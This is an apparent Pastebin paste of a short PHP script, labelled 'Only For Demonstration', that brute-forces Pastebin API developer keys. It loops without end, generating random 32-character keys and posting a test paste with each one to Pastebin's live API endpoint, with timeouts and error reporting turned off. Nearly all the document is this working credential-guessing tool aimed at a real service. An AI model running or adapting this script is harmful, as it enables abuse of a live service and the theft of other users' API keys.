Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ###################################################
- #Pastebin API BruteForcing
- #PLZ Correct The Error PASTEBIN
- #Coded By H4T3D
- #Only For Demonstration
- ####################################################
- ob_start();
- @set_time_limit(0);
- error_reporting(0);
- function go($api){
- $api_dev_key = $api; // your api_developer_key
- $api_paste_code = 'just some random text you :)'; // your paste text
- $api_paste_private = '1'; // 0=public 1=unlisted 2=private
- $api_paste_name = 'justmyfilename.php'; // name or title of your paste
- $api_paste_expire_date = '10M';
- $api_paste_format = 'php';
- $api_user_key = ''; // if an invalid api_user_key or no key is used, the paste will be create as a guest
- $api_paste_name = urlencode($api_paste_name);
- $api_paste_code = urlencode($api_paste_code);
- $url = 'http://pastebin.com/api/api_post.php';
- $ch = curl_init($url);
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS, 'api_option=paste&api_user_key='.$api_user_key.'&api_paste_private='.$api_paste_private.'&api_paste_name='.$api_paste_name.'&api_paste_expire_date='.$api_paste_expire_date.'&api_paste_format='.$api_paste_format.'&api_dev_key='.$api_dev_key.'&api_paste_code='.$api_paste_code.'');
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_VERBOSE, 1);
- curl_setopt($ch, CURLOPT_NOBODY, 0);
- $response = curl_exec($ch);
- echo $response."<br></br><hr></hr>";
- }
- for(;;)
- {
- $api=substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyz"), 0, 32);
- echo "Random API => ".$api;
- echo go($api);
- flush();@ob_flush();
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement